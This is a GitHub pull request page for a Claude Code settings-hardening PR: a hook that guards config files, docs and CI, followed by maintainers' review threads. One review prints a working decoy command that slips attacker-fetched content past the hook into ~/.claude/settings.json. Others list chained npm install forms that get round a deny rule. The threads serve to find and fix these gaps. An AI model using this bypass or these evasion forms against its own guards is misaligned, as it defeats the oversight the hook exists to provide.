Skip to content

Consolidate Claude Code tooling: global-settings v1.6.0, developer docs, shellcheck CI#22

Merged
WilcoLouwerse merged 26 commits intomainfrom
docs/global-claude-settings-improvements
May 4, 2026
Merged

Consolidate Claude Code tooling: global-settings v1.6.0, developer docs, shellcheck CI#22
WilcoLouwerse merged 26 commits intomainfrom
docs/global-claude-settings-improvements

Conversation

@WilcoLouwerse
Copy link
Copy Markdown
Contributor

@WilcoLouwerse WilcoLouwerse commented Apr 24, 2026

Summary

This PR brings forward the full body of work from feature/claude-code-tooling (which originally landed as PR #13 but received 8 additional commits that never reached main) plus the new docs/global-claude-settings-improvements work. The net effect on main:

  • Global settings bumped v1.4.0v1.6.0 — tightens block-write-commands.sh hook guards, drops unused unlock path, adds settings-repo-ref/settings-repo-url config, and introduces a 7073-case test harness (tests/test-block-write-commands.sh) that exercises the protected-path regex against combinatorial attack fixtures.
  • Consolidated Claude Code developer documentation under docs/claude/ — getting-started, workflow, skill-patterns, skill-checklist, writing-skills/-specs/-adrs/-docs, retrofit playbook, parallel-agents, Playwright setup, exapp-sidecar status, and separate command references for OpenSpec / Tender flows. Includes workstation-setup refs, scenario heading warning, generalized workspace examples, expanded skill-evals archiving, and push-auth script fix.
  • Path conventions section added to writing-skills.md.
  • ShellCheck CI — new .github/workflows/shellcheck.yml runs ludeeus/action-shellcheck@2.0.0 on every PR that touches .sh files.
  • Usage tracker improvements: calibration docs, extended MODELS list, streamlined install, logs/.gitkeep placeholder, and various refinements in claude-usage-tracker.py.
  • /review-pr command documented; L5 eval requirements clarified in skill guides.
  • REQ-NNN heading format standardized across spec docs; cross-referencing conventions added.
  • Minor release workflow and repo meta tweaks (.gitattributes for LF normalization, .gitignore).

Once this PR merges, feature/claude-code-tooling becomes fully contained in main and can be deleted (planned as a follow-up).

Checks

  • ✅ ShellCheck (local via Docker) — clean after intentional-fixture annotations
  • ✅ Hook test harness — 7073/7073 (94 allow + 6979 deny)
  • global-settings/VERSION correctly bumped 1.4.0 → 1.6.0

Test plan

  • CI shellcheck passes on the PR
  • Reviewer spot-checks docs/claude/ layout for duplication / broken cross-refs
  • Confirm downstream repos pick up the new global-settings version via check-settings-version.sh banner on next Claude Code session

WilcoLouwerse and others added 17 commits April 10, 2026 14:32
Updates across Claude docs (commands, getting-started, global-claude-settings,
parallel-agents, testing, workflow, writing-docs, writing-skills, writing-specs),
usage-tracker docs (MODELS, QUICKSTART, README, SETUP), global-settings README,
adds .gitattributes for line ending normalization, and adds .claude/ config directory.

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
…ting-skills

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
…v1.5.1

- global-settings: add optional settings-repo-ref file to track a non-main
  branch/tag/sha for version checks (GitHub API + git fetch paths), update
  block-write-commands.sh to protect the new file, and add deny rules for
  destructive commands (sudo, rm -rf root, gh pr merge, git reset --hard, etc.)
- Remove CLAUDE.local.md flow from docs (README, parallel-agents) and delete
  the example template; gitignore .claude/settings.json + settings.local.json
- writing-skills: document skill-creator vendoring + update script, the
  evals/workspace/iteration-N layout, and the baseline_score regression marker

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
- Rename top-level heading to "Claude Code Developer Guide"
- Add new docs: local-llm.md, playwright-setup.md, examples/
- Remove obsolete exapp-sidecar-status.md
- Update commands, workflow, getting-started, parallel-agents,
  writing-docs, writing-specs, walkthrough, app-lifecycle, and
  global-claude-settings docs
- Add settings-repo-ref.example and settings-repo-url.example
- Update usage-tracker scripts (claude-track.py, install.sh) and docs

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
Split monolithic commands.md into domain-specific references (openspec, tender) and add new skill guides for checklists, evals, and patterns. Update testing, workflow, and writing-skills docs. Bump global settings scripts.

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
…rse-spec

The retrofit playbook walks through bringing legacy apps under hydra
ADR-008's spec ↔ code annotation convention. Apps built spec-first via
/opsx-apply get the annotations for free; apps that predate the
convention need a one-time retrofit pass.

The three skills, in order:
  /opsx-coverage-scan {app}   — audit only, produces coverage-report.md
  /opsx-annotate {app}        — applies file + method tags from Bucket 1
  /opsx-reverse-spec {app}    — drafts retrofit spec for a 2a/2b cluster
                                 (--cluster=new capability,
                                  --extend=add REQs to existing)

Playbook covers prereqs, the three-skill sequence, bucket-by-bucket
guide (1, 2a, 2b, 3a, 3b, 4), common gotchas sourced from the
opencatalogi pilot (helper methods, listener vs business logic,
Bucket 1 vs 2a tiebreaker, Nextcloud appinfo/ specifics,
.git-blame-ignore-revs config), and roll-out order across the 11 PHP
apps + ExApp Python wrappers.

Referenced from:
  - hydra/openspec/architecture/adr-008-testing.md (rule definition)
  - hydra/.claude/skills/opsx-{coverage-scan,annotate,reverse-spec}/SKILL.md
  - hydra/CLAUDE.md (Skills Overview "Retrofit" line)
…llcheck CI

- Simplify install/update docs for global Claude settings
- Enhance usage tracker with calibration support and improved logging
- Add shellcheck GitHub Actions workflow
- Update .gitignore for usage tracker runtime files

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
…ADME, dedupe docs

- Extract Workstation Setup and prerequisites from docs/claude/README.md
  into new docs/claude/workstation-setup.md (258 lines); cuts main README
  from 901 to 601 lines (-33%)
- Slim ADR section to brief intro + link to writing-adrs.md
- Slim Personas section to brief intro + link to testing.md
- Fix sudo npm install -g in local-llm.md (avoid running package scripts
  as root); add note on user-level npm prefix / npx
- Fix "full day of normal usage" → "full session (~5h rolling window)"
  in parallel-agents.md (session is rolling, not daily)
- Add "Security model — defense in depth" section to global-settings/README.md
  documenting the three protection layers (deny-list, hook, chmod)
- Merge usage-tracker/QUICKSTART.md into README.md: add Understanding
  the Status Bar table + "No ~/.claude/projects/ directory" troubleshooting
  row; delete QUICKSTART.md (all content preserved)

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
…-guides

feat: Add settings-repo-ref tracking, harden write blocks, and expand developer guides
…st harness

- Pin canonical gh-api source check to the literal `repos/ConductionNL/.github/contents/global-settings/` prefix so the canonical string cannot be smuggled via headers, query params, or pipeline segments.
- Require `-c` for the eval/bash/sh write rule so `.sh` filenames no longer false-positive via the `\bsh\b` word boundary (e.g. `diff a/foo.sh b/foo.sh`).
- Use command-segment boundary for the cp/mv rule so chained invocations like `foo && cp … ~/.claude/settings.json` are caught.
- Add a wget/curl/dd direct-write guard (rule #7) for tools that write via flag rather than redirect.
- Drop `settings-repo-path` from the unlock command — it was never rewritten during an update and was left writable after every unlock.
- Update the CONTRACT text in check-settings-version.sh to match the tightened gh-api prefix check.
- Add tests/test-block-write-commands.sh with combinatorial coverage of attack vectors × path variants × chain prefixes.
- Normalize hook script mode to 755 for consistency.
- Bump VERSION 1.5.3 → 1.6.0.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
…ttings-improvements

# Conflicts:
#	.gitattributes
- Move retrofit commands into commands-openspec.md and keep /sync-docs in commands.md (general section)
- Update retrofit playbook for ADR-003 §Spec traceability (from ADR-008), ghost-change model, and sync_spec_content.py
- Restructure top-level README.md with a directory-purpose table and clearer entry points
- Add anti-pattern preservation guidance to writing-docs.md (load-bearing "why" notes shouldn't be stripped)
- Add writing-adrs / writing-skills rows to the Source-of-Truth table; drop stale hydra ADR index row
- Cross-link the retrofit playbook from workflow.md and app-lifecycle.md for legacy apps

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
Document how SKILL.md file paths resolve against Claude's CWD at
invocation, with a canonical-path table per target location and an
authoring checklist to catch workspace-sensitive drift.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
Resolve 11 ShellCheck findings (mix of info/warning) so the PR passes
the shellcheck.yml CI gate introduced on this branch:

- block-write-commands.sh: SC2016 disable for sed backreference regex
  (must be single-quoted; \& is sed syntax, not a shell variable).
- check-settings-version.sh: convert 4 'echo "\\n"' lines to printf for
  portable-shell compliance (SC2028).
- tests/test-block-write-commands.sh: file-level disable for SC2016/SC2088
  — the harness intentionally feeds literal \$VAR/~ tokens to the hook as
  test fixtures. Drop unused HOMES_BARE array (SC2034).

Verified: all 7073 hook tests still pass (94 allow, 6979 deny).
Documents the /review-pr skill (usage, strictness modes, inline comment
flow) in commands.md and testing.md. Tightens the L5 auto-detection
description in writing-skills.md to call out that both grading.json and
timing.json must be present under evals/, and that timing.json is
evidence of actual skill execution via the eval runner.

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
Updates writing-specs.md to use REQ-NNN identifiers (dropping the
{AREA} segment from the heading format) and adds a new
'Cross-Referencing Requirements' section with a table showing how to
reference requirements from tasks.md, other specs, PRs, and PHPDoc tags.

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
WilcoLouwerse and others added 4 commits April 28, 2026 17:08
…d fix jq iterator

- Remove wordpress-docker-specific references in README and playwright-setup; use generic workspace descriptions instead
- Update skill-evals: document new 3-way merge update mechanism (replaces local-mods.patch), workspace rotation/archiving rules, and notable-detection/dedup logic
- Add scripts/ subfolder convention to writing-skills directory layout
- Fix jq content[]? iterator in block-write-commands.sh to handle non-array content

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
CRLF blobs arrived via origin/main merge; .gitattributes already
enforces eol=lf for *.svg so normalize the index entries.

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
…ush-auth script

- README.md: update artifact diagram (specs/*.md) and add workstation-setup.md to tree
- getting-started.md: link to workstation-setup.md for new machine setup
- workflow.md: correct "Three optional" → "Four optional" artifacts
- writing-specs.md: add CRITICAL callout that scenario headings must use #### (4 hashes)
- commands.md: include global-claude-settings.md in sync-docs dev docs file list
- docker.md / testing.md: add cross-links to playwright-setup.md
- block-write-commands.sh: fix git_push_authorized() to read full last user message
  (previously only checked the last line of the last text block, so multi-line
   messages with the auth phrase on a non-final line were incorrectly rejected)

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
@WilcoLouwerse WilcoLouwerse force-pushed the docs/global-claude-settings-improvements branch from 1434a1f to e581646 Compare April 30, 2026 15:07
@MWest2020
Copy link
Copy Markdown
Member

Bash(npm install:*) deny — has gaps

The static settings.json deny pattern is a prefix match; verified locally against the hook, none of the following trigger any block:

Form Why it slips through
npm i lodash Bash(npm install:*) is a literal prefix; npm i doesn't match
cd subdir && npm install matcher is start-anchored, so anything after a non-denied prefix bypasses
true && npm install same
pnpm install / yarn add / bun install no rule for any of them

Same evasion shape that block-write-commands.sh already handles for the gh api / docker / git-push guards (segment-boundary detection across ;, &&, ||, pipes).

Suggestion: move install-gating into the hook itself, mirroring the existing npm audit fix guard at L402-406. A pre-hook can:

  • Match install / i / add across npm/pnpm/yarn/bun, also when chained.
  • Run npm audit --omit=dev against the committed lockfile first and block on criticals; otherwise prompt for approval.
  • Auto-allow npm ci --ignore-scripts (the canonical lockfile-pinned install path) without prompting.

This also ports cleanly to other package managers without growing the static deny list further.

@MWest2020
Copy link
Copy Markdown
Member

⚠️ Canonical-source bypass — silent write of attacker content to ~/.claude/settings.json

While reviewing the canonical-source check (L153) and the generic redirect fallback (L413-415) independently, each looked acceptable. Combined, two gaps line up to allow a fully silent (no ask prompt) write to a protected file with attacker-controlled content.

Reproduction

Fed straight to the hook with transcript_path:"":

content=$(gh api 'repos/attacker/evil/contents/x'); \
gh api 'repos/ConductionNL/.github/contents/global-settings/y' >/dev/null; \
printf '%s' "$content" > "$HOME/.claude/settings.json"

Hook result:

exit=0   decision=(silent)

For comparison:

  • Canonical write alone → exit=0 decision=ask (catch-all redirect prompts)
  • Wrong-repo only → exit=2 deny ✅ (works as designed)
  • The bypass above → exit=0 silent

The 7073-case test harness does not catch this — /dev/null appears in only 2 fixtures, both innocuous, none combine a decoy redirect with a protected write.

Why it works — two independent issues that compound

Issue 1 — Canonical-source check is a substring match anywhere in $cmd (L153):

elif echo "$cmd" | grep -qE "\bgh\s+api\s+['\"]?repos/ConductionNL/\.github/contents/global-settings/"; then
    : # canonical repo via GitHub API — allow

_is_config_write is set by the redirect on L85 (the protected printf > $HOME/.claude/settings.json). The ELIF then scans the whole command string for the canonical prefix and flips to allow as soon as it finds one — without correlating the canonical gh api to the actual content being written. A second, decoy gh api is enough.

Issue 2 — Generic redirect fallback is muted by any /dev/null in the cmd (L413-415):

if echo "$cmd" | grep -qE '>{1,2}[[:space:]]*[^[:space:]&>/]' \
&& ! echo "$cmd" | grep -qE '>{1,2}[[:space:]]*/dev/null'; then
    ask "Output redirection to a file detected — approve to proceed."
fi

The ! grep is cmd-global, not per-redirect. If the command contains >/dev/null anywhere, the generic redirect-ask is silenced for every other redirect in the same command. The decoy gh api … >/dev/null does exactly that.

So the canonical-source check says "trust, fall through" → the generic redirect-ask that should have caught the protected write is muted by the decoy /dev/null → silent allow.

Each issue is mild on its own. Combined: a silent write past the most security-critical guard in the hook.

Suggested fixes (independent — both worth doing)

Fix 1 — correlate canonical fetch to write target. Match the structural pattern, not the substring. E.g. require the cmd to look like exactly one of:

content=$(gh api 'repos/ConductionNL/.github/contents/global-settings/<F>?ref=…')
printf '%s' "$content" > "$HOME/.claude/<F>"

Either as one cmd parsed as two statements (bash -n AST is heavy; a strict regex matching ^content=\$\(gh api '…canonical…/(<F>)…'\); printf …; > …\1$ works), or split on ; and verify each segment in isolation.

Fix 2 — make the redirect fallback per-redirect, not per-cmd. Iterate redirect targets, not the cmd as a whole:

# pseudocode
for target in $(echo "$cmd" | grep -oE '>{1,2}[[:space:]]*[^[:space:]&>;|]+' | sed -E 's/^>+[[:space:]]*//'); do
    [[ "$target" == /dev/null || "$target" == /dev/std* || "$target" =~ ^[0-9]+$ ]] && continue
    ask "Output redirection to '$target' detected — approve to proceed."
    break
done

Fix 3 — add fixtures. The harness should include the decoy class:

# canonical decoy combined with attacker write
add_deny "decoy gh-api + attacker content"      "content=\$(gh api 'repos/attacker/evil/contents/x'); gh api 'repos/ConductionNL/.github/contents/global-settings/y' >/dev/null; printf '%s' \"\$content\" > \"\$HOME/.claude/settings.json\""
add_deny "decoy /dev/null silences redirect"     "evil > /tmp/x; harmless > /dev/null"
add_deny "two gh-api, attacker first"            "evil=\$(gh api 'repos/attacker/foo/contents/x'); good=\$(gh api 'repos/ConductionNL/.github/contents/global-settings/y'); printf '%s' \"\$evil\" > \"\$HOME/.claude/settings.json\""

Aside — a template for behavioral checks

Both issues stem from the same shape: substring/regex matching on a free-form command string. That works for narrow verbs (git push, rm -rf) but breaks down as soon as the command becomes structural (multiple statements, indirect indirection, decoys).

A pattern that scales better is behavioral — match the verb structurally, then act on the parsed semantics rather than the raw string. As an example, here's how an npm install guard can do an actual registry lookup and a typosquat / supply-chain-signal check, rather than a static prefix-deny:

# Word-boundary detection — catches `npm i`, `npm install`, `cd && npm install`, `true && npm i …`
if echo "$COMMAND" | grep -qiE '\bnpm\s+install\b|\bnpm\s+i\b|\bnpx\s'; then
  PACKAGES=()
  IN_INSTALL=false
  for word in $COMMAND; do
    [[ "$word" =~ ^(npm|npx)$ ]] && continue
    [[ "$word" =~ ^(install|i|add)$ ]] && { IN_INSTALL=true; continue; }
    [[ "$word" == -* ]] && continue
    if $IN_INSTALL || echo "$COMMAND" | grep -qiE '\bnpx\b'; then
      PKG_NAME=$(echo "$word" | sed 's/@[^/]*$//')   # strip @version
      [[ -n "$PKG_NAME" ]] && PACKAGES+=("$PKG_NAME")
    fi
  done

  for pkg in "${PACKAGES[@]}"; do
    # Trusted scopes pass silently
    [[ "$pkg" =~ ^@(types|angular|babel|eslint|jest|testing-library|vitejs|rollup|sveltejs|vue)/ ]] && continue

    # Real npm registry lookup
    INFO=$(npm view "$pkg" name repository.url license maintainers --json 2>/dev/null)
    [[ -z "$INFO" || "$INFO" == *"E404"* ]] && { warn "$pkg: not on registry"; continue; }

    LICENSE=$(echo "$INFO"     | jq -r '.license // "UNKNOWN"')
    REPO=$(echo "$INFO"        | jq -r '.["repository.url"] // "none"')
    MAINTAINERS=$(echo "$INFO" | jq -r '.maintainers | length')

    # Risk signals: typosquats and account-takeover packages typically trip ≥2 of these
    flags=()
    [[ "$REPO"        == "none" || "$REPO"    == "null"    ]] && flags+=("no-repo")
    [[ "$LICENSE"     == "UNKNOWN" || "$LICENSE" == "null" ]] && flags+=("no-license")
    [[ "$MAINTAINERS" == "1"                               ]] && flags+=("single-maintainer")

    [[ ${#flags[@]} -gt 0 ]] && warn "$pkg: ${flags[*]} (license: $LICENSE)"
  done
fi

Why this is structurally more robust than Bash(npm install:*):

  1. \b…\b instead of prefix-anchor — catches npm i, cd subdir && npm install, true && npm i …, plus npx (also a vector).
  2. Acts on parsed packages, not the raw cmd. Decoys can't smuggle past it because each package is looked up individually.
  3. Risk-graded — trusted scopes pass silently, suspicious packages warn with actionable detail (no repo + no license + single maintainer ≈ classic typosquat / account-takeover signature, e.g. node-ipc, event-stream).
  4. Warn-don't-block by default (exit 0 with stderr) — avoids breaking legitimate installs that happen to trip a single signal, while making the risk visible at decision time.

Same philosophy applied to the canonical-source check: don't ask "does the cmd contain the canonical string"; ask "does the parsed structure of the cmd write canonical content to a canonical target?". That's resistant to decoys by construction.

@MWest2020
Copy link
Copy Markdown
Member

Docs review — accuracy + xref pass

Pass over docs/claude/, global-settings/README.md, root README.md. Three real bugs that should land in this PR; the rest are cosmetic/inconsistencies for follow-up.

1. ⚠️ Phrase mismatch — docs and hook contradict each other

Source Authorized phrases
Hook (global-settings/block-write-commands.sh:38) push for me · commit and push · please git push · push my changes
Docs (docs/claude/global-claude-settings.md:211) push for me · commit and push · please push · push my changes

A developer who reads the docs and types "please push" gets blocked. A developer who reads the hook's deny message gets the right phrase. Pick one — the hook's deny message (which references "please git push" verbatim) is the source of truth, so the docs should be updated.

2. Broken anchor in the onboarding flow

docs/claude/getting-started.md:56:

[main README](../../README.md#4-install-vs-code-extensions)

The root README.md has 5 H2 headings, none of them 4-install-vs-code-extensions. The heading actually exists in docs/claude/workstation-setup.md:38 (### 4. Install VS Code Extensions). Fix: link to ./workstation-setup.md#4-install-vs-code-extensions.

3. ⚠️ Overstated security claim — gives a false sense of robustness

docs/claude/global-claude-settings.md:209:

All guards use (^|[;&|]\s*)cmd\b patterns to catch commands both at the start of a line and when chained via &&, ;, or ||.

This is not actually true for the canonical-source check at block-write-commands.sh:153, which is the guard most relevant to security. That check uses substring-anywhere matching (grep -qE with no segment anchor) — exactly the gap demonstrated in the bypass writeup elsewhere on this PR.

Either:

  • soften the claim ("most guards use…"), or
  • (preferred) tighten the canonical check so the universal claim becomes true.

The current text leads readers to under-estimate the attack surface they should test against.


Cosmetic / render issues

4. skill-patterns.md — links to paths that don't exist in this repo

Line Link target Resolves to
43, 155 [templates/architecture-template.md](templates/architecture-template.md) docs/claude/templates/… (does not exist)
60, 156 [references/dutch-gov-backend-standards.md](references/dutch-gov-backend-standards.md) docs/claude/references/… (does not exist)
76, 157 [examples/output-templates.md](examples/output-templates.md) docs/claude/examples/… (does not exist)
177 [learnings.md](learnings.md) docs/claude/learnings.md (does not exist)

The author seems to mean "inside your skill's folder" (relative to .claude/skills/<skill>/), not relative to the doc's directory. As written, every renderer (GitHub, IDE preview, Docusaurus) treats them as real links and 404s. Fix: switch to inline code — `templates/architecture-template.md` — instead of links.

5. Placeholder syntax rendered as live links

  • docs/claude/writing-specs.md:265 shows an example of cross-spec reference syntax that renders as a live link to nowhere: [archival-destruction-workflow#REQ-006](../archival-destruction-workflow/spec.md#req-006-legal-hold-management).
  • docs/claude/writing-docs.md:520: See [X](path/to/file.md). — literal template syntax presented as a live link.

Both should be in fenced code blocks, not inline markdown.


Inconsistencies / observations

6. Node.js version conflict

  • docs/claude/getting-started.md:11: prerequisite is Node.js 20+ (required by OpenSpec CLI).
  • .github/workflows/release.yml:23: workflow_call default is node-version: "18".

The release input is overrideable per-caller, but a fresh contributor reading the prerequisites and then hitting an 18-default release will be confused. Either bump the workflow default, or note the pinned 18 in getting-started.

7. Ghost file: exapp-sidecar-status.md

It appears in gh pr diff --name-only and the PR description ("exapp-sidecar status"), but it is not present in docs/claude/ at PR head — added then removed within the PR. If intentional, the PR body should drop the mention.

8. Broad settings.local.json bootstrap recommendation

docs/claude/README.md:357-360 recommends bootstrapping with allow-list entries like:

"Bash(bash:*)", "Bash(rm:*)", "Bash(curl:*)", ...

Not a security hole on its own — the global deny on rm -rf and the hook still cover the worst cases — but Bash(rm:*) auto-approves single-file rm without any prompt, and Bash(bash:*) opens up bash -c-style indirection. For a copy-paste-bootstrap audience, this is a higher-trust default than the rest of the doc set implies. Worth either narrowing the suggestion (e.g. drop bash:* and rm:*) or adding a "review before keeping" note.

@MWest2020
Copy link
Copy Markdown
Member

usage-tracker/claude-usage-tracker.py — two real bugs

Read pass over the 1062-line tracker. No security-impact issues (no protected-file writes, no shell injection), but two bugs worth fixing.

Bug 1 — _should_notify is monotonically increasing across weekly cycles (L621-627)

def _should_notify(self, pct):
    thresholds = self.notify_state["notification_percentages"]
    for t in thresholds:
        if pct >= t and t > self.notify_state["last_notification"]:
            self.notify_state["last_notification"] = t
            return True, t
    return False, None

notify_state["last_notification"] is only ever set upward — never reset when the weekly window rolls over. Concrete impact: once a long-running monitor_continuous has fired a 90% notification in week N, the user no longer gets 25 / 50 / 75% notifications in weeks N+1, N+2, … unless they cross 90% again. Since monitor_continuous is the documented use case (claude-track monitor), this is the main usage path for the notification feature.

Fix: reset last_notification when the weekly window changes. The simplest place is in monitor_continuous next to the existing load_limits() reload at L615:

# Reload limits and detect weekly rollover
new_week_start = self._week_start_for(COMBINED_KEY)
if not hasattr(self, "_last_week_start") or new_week_start != self._last_week_start:
    self.notify_state["last_notification"] = 0
    self._last_week_start = new_week_start
self.limits, self.limits_configured = load_limits()

Bug 2 — usage-api-cache.json written world-readable with potentially sensitive content (L893-896)

cache_file = DATA_DIR / "usage-api-cache.json"
DATA_DIR.mkdir(parents=True, exist_ok=True)
cache_file.write_text(json.dumps({
    "fetched_at": datetime.now(timezone.utc).isoformat(),
    "data": data,
}, indent=2))

data is the unfiltered response from https://claude.ai/api/organizations/{org_uuid}/usage (an undocumented endpoint, per the docstring). Its contents aren't guaranteed — could include subscription level, organization metadata, per-model billing breakdowns, or other account-scoped data — but it is fetched with the user's OAuth bearer token and cached to disk under the default umask, which on most Linux systems leaves the file 0644 (world-readable).

The other write_text calls in this file are fine — limits.json, session-state.json, and the monitor session.json snapshot contain only token counts and config. Only this one cache deserves stricter perms.

Fix:

cache_file.write_text(json.dumps({...}, indent=2))
cache_file.chmod(0o600)

(or use os.open with explicit mode and os.fdopen if you want to avoid the brief 0644 window between create and chmod.)

Comment 1 — npm install guard gaps:
- Remove inadequate static `Bash(npm install:*)` deny from settings.json
- Add word-boundary hook guard covering npm install/i/add, pnpm, yarn, bun
  (catches chained variants like `cd subdir && npm install`); npm ci excluded

Comment 2 — canonical-source bypass (two compounding bugs):
- Fix 1: decoy protection on gh api canonical check — reject if any
  non-canonical gh api call appears alongside the canonical one
- Fix 2: remove global /dev/null suppression from redirect guard;
  /dev/null already excluded by [^[:space:]&>/] so the second condition
  was redundant and silenced the guard for other redirects in the same cmd

Test harness:
- Add TESTS_ASK category with run_hook_ask() (verifies exit 0 + ask JSON)
- 13 new ASK fixtures: all npm/pnpm/yarn/bun install forms + /dev/null decoy
- 14 new DENY fixtures: canonical decoy attack (2 variants × 7 protected files)
- 2 new ALLOW fixtures: npm ci, npm ci --ignore-scripts
- Total: 7073 → 7102 (all pass)

Comment 3 — docs accuracy and cross-reference fixes:
- global-claude-settings.md: fix push phrase (please push → please git push);
  update "All guards use" claim to accurately describe the canonical check
- getting-started.md: fix broken anchor (README.md#4 → workstation-setup.md)
- skill-patterns.md: convert 7 broken markdown links to inline code
- release.yml: bump default node-version 18 → 20 (matches documented prereq)
- README.md: add "review before keeping" note on broad bootstrap allow-list

Comment 4 — usage-tracker bugs:
- _should_notify: reset last_notification on weekly window rollover so
  25/50/75% thresholds fire again in each new week
- usage-api-cache.json: chmod 0o600 after write (org-scoped OAuth data)

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
@WilcoLouwerse
Copy link
Copy Markdown
Contributor Author

Review comments addressed

All four review comments have been resolved in this branch.

Comment 1 — Package manager install guard

Added a hook guard that intercepts npm install, npm i, npm add, pnpm install, pnpm i, pnpm add, yarn install, yarn add, bun install, and bun add and routes them through an ask confirmation prompt instead of silently allowing or hard-denying. npm ci and npm ci --ignore-scripts remain silently allowed (no confirmation needed).

Removed "Bash(npm install:*)" from the settings.json deny list in both repos since the hook now handles this more precisely.

Comment 2 — Canonical-source bypass attack (two bugs)

Bug 1 — substring-anywhere gh api match: The original check triggered on any command that contained the canonical URL string, so an attacker could smuggle a non-canonical write alongside a decoy canonical string. Fixed with a decoy-detection check: extract all gh api repos/… segments from the command and verify each one is prefixed by the canonical URL; if any segment is not, the command is hard-denied.

Bug 2 — /dev/null suppression of redirect guard: A global ! grep -q '>/dev/null' check caused the redirect guard to be silently skipped for any command that redirected anything to /dev/null. The redirect guard's character class ([^[:space:]&>/]) already excludes /dev/null-style targets; the outer suppression was redundant and harmful. Removed it.

Comment 3 — Usage tracker bugs (both repos)

Weekly reset watermark not clearing: When a new billing week starts, _should_notify was comparing against a stale last_notification timestamp, so the first-week notification was never re-fired. Fixed by detecting a new week start at the top of the monitor_continuous loop and resetting notify_state["last_notification"] to 0 when the week changes.

Cache file permissions: After writing OAuth-sourced cost data to the cache file, chmod(0o600) is now applied so the file is readable only by the owning user.

Comment 4 — Documentation and cosmetic fixes

  • global-claude-settings.md: clarified that most guards use word-boundary anchors; the gh api canonical-source check uses a URL-prefix match and is additionally hardened by decoy detection. Also corrected please pushplease git push.
  • getting-started.md: fixed broken cross-link (../../README.md#…./workstation-setup.md#…).
  • skill-patterns.md: converted seven broken [path](path) self-referential markdown links to inline code spans.
  • release.yml: bumped default node-version from "18" to "20".
  • README.md: added a note to review broad allow-list entries (Bash(bash:*), Bash(rm:*)) once initial setup is complete.

All fixes applied to both ConductionNL/.github (branch docs/global-claude-settings-improvements) and BendeVanEllende/wordpress-docker (branch feature/skill-improvement). Tests updated and passing in both repos.

Took origin/main's expanded retrofit playbook (from PR #36): updated title,
ghost changes section, relative skill links, procest as testbed example,
Bucket 2 un-spec'd methods table, and revised roll-out order.

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
…olution

Restores six items from the branch version that were dropped when the
merge conflict was resolved in favour of origin/main wholesale:

- Prerequisites: skills auto-create a retrofit/… feature branch
- Scan output: annotated + plumbing meta-buckets described
- Annotate idempotency: skill prompts to reuse or recreate a ghost change
- Reverse-spec: /opsx-ff invocation to fill design.md, full script path
- Specter sync: error-handling note (don't leave spec in-tree but missing from Specter)
- Specter sync: column semantics for retrofit vs retrofit_extensions

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
@MWest2020
Copy link
Copy Markdown
Member

Verification — fixes look correct, two harness issues to address

Pulled a8cddca, ran the test harness, replayed the original decoy attack against the new hook. All four review comments are addressed at the code level — the security-critical decoy-detection in particular works as intended:

$ HOME=/home/wilco bash -c '
ATTACK="content=\$(gh api '\''repos/attacker/evil/contents/x'\''); gh api '\''repos/ConductionNL/.github/contents/global-settings/y'\'' >/dev/null; printf '\''%s'\'' \"\$content\" > \"\$HOME/.claude/settings.json\""
echo "$ATTACK" | jq -Rsc "{tool_input:{command:.}, transcript_path:\"\"}" | bash global-settings/block-write-commands.sh
'
exit=2
{"hookSpecificOutput":{"hookEventName":"PreToolUse","permissionDecision":"deny","permissionDecisionReason":"BLOCKED: Command mixes canonical and non-canonical gh api calls — possible decoy attack."}}

✅ Per-claim verification:

Comment Code Status
1 — install guard hook regex (^|[;&|]\s*)(npm|pnpm|yarn|bun)\s+(install|i|add)\b, static deny removed, npm ci excluded ✅ 13 ASK fixtures pass; npm ci ALLOW fixtures pass
2a — canonical decoy extract each gh api repos/... segment, hard-deny on any non-canonical ✅ 14 decoy fixtures hard-deny; original PoC deny'd
2b — /dev/null suppression global ! grep removed; char class [^[:space:]&>/] already excludes /-anchored targets ✅ correct (with one comment-clarity note below)
3 — docs push phrase, anchor, 7 self-ref links, node 18→20, README note
4 — usage-tracker weekly reset of last_notification; chmod 0o600 on cache

Two issues that relativize the "7102/7102 pass" claim

1. Test harness hardcodes /home/wilco — not portable

tests/test-block-write-commands.sh:74,77,78,82 (and the git -C /home/wilco/.github line at L97) embed your literal home path, so the harness only fully passes on your machine. Fresh run on a different developer's box (HOME=/home/gongoeloe):

TOTAL: 7102 — ALLOW pass=89/96, DENY pass=4942/6993, ASK pass=13/13

2058 fixtures fail because the protected-path regex in the hook resolves ~ / $HOME to /home/gongoeloe, while the fixtures still contain literal /home/wilco/.... With HOME=/home/wilco spoofed, the picture clears up:

TOTAL: 7102 — ALLOW pass=89/96, DENY pass=6993/6993, ASK pass=13/13

(The remaining 7 ALLOW fails are the git -C /home/wilco/.github show ... fixtures, which additionally require the path to exist as a real git repo on disk.)

Suggested fix: introduce a single test-side variable, e.g. TEST_HOME="${TEST_HOME:-/home/wilco}", and reference it in path_variants() and the git -C fixture. Then run the harness with HOME="$TEST_HOME" set in the runner — fixtures and hook align without depending on whichever account is running the tests.

2. The harness doesn't run in CI

Workflows on this branch: branch-protection, deploy-docs, documentation, quality, release*, shellcheck, sync-to-beta. None of them execute tests/test-block-write-commands.shshellcheck.yml only lints the bash, it doesn't fire any of the 7102 fixtures. Net effect: the PR-checks block (✅ ShellCheck) suggests the tests are also green, while in reality "all pass" is currently a manual claim against your own laptop.

Suggested fix: add a small hook-tests.yml triggered on changes to global-settings/**, running:

